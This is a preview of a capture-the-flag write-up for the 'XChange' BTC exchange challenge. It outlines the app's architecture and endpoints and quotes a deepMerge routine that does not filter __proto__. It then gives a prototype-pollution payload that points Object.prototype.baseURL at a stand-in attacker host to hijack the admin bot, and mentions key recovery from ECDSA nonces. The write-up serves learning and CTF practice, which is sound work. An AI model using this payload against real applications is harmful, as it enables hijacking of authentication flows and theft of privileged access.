$ cat writeup.md…
$ cat writeup.md…
Securinets CTF Quals 2026
Task: XChange BTC exchange (Rust/axum + React + Playwright admin bot) with WebAuthn auth; mint funds via /api/admin/add_funds and read the flag. Solution: polluted Object.prototype.baseURL through the ?settings= deepMerge to hijack the admin bot, captured one assertion to recover the deterministically-nonced ECDSA key, then AES-ECB decrypted the flag.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Misdirection: Part 1 — XChange, a small BTC exchange: a Rust (axum) backend, a React frontend, a Node/Playwright admin bot, nginx and PostgreSQL, shipped as a
docker-composearchive. Authentication is WebAuthn/passkeys./api/admin/add_fundsmints funds for an admin, and/api/flagreturns the flag once the caller's balance is at least5,000,000.
English summary: we are given the full source of a small exchange and must reach the flag endpoint, which is gated behind a 5,000,000 balance and an is_admin check. The admin's passkey lives in the admin bot, so the intended chain is web (hijack the bot) plus crypto (abuse the bot's broken ECDSA nonce to forge or decrypt). The task name is a hint: the obvious crypto path is a decoy.
nginx (frontend + /api proxy)
├── React SPA (frontend/)
├── Rust axum API (backend/) -> Postgres
└── Node + Playwright bot (bot/) -- crawls reported URLs
Relevant endpoints:
| Endpoint | Notes |
|---|---|
| `POST /api/register_start | finish, POST /api/login_start |
POST /api/admin/add_funds | {amount: N} — requires is_admin |
GET /api/flag | returns the flag when balance >= 5_000_000 |
POST /report | runs the Playwright admin bot on a URL |
Two pieces of frontend code, read straight from the archive:
// frontend/src/App.tsx const raw = new URLSearchParams(window.location.search).get("settings"); if (raw) deepMerge({}, JSON.parse(raw)); // user JSON merged into an object
// frontend/src/lib/auth.tsx const getAuthUrl = () => (Object.prototype as any).baseURL || window.location.origin;
deepMerge recurses over keys and does not filter __proto__, constructor or prototype. A raw-string payload therefore reaches Object.prototype:
{"__proto__":{"baseURL":"https://attacker.example/"}}
...
$ grep --similar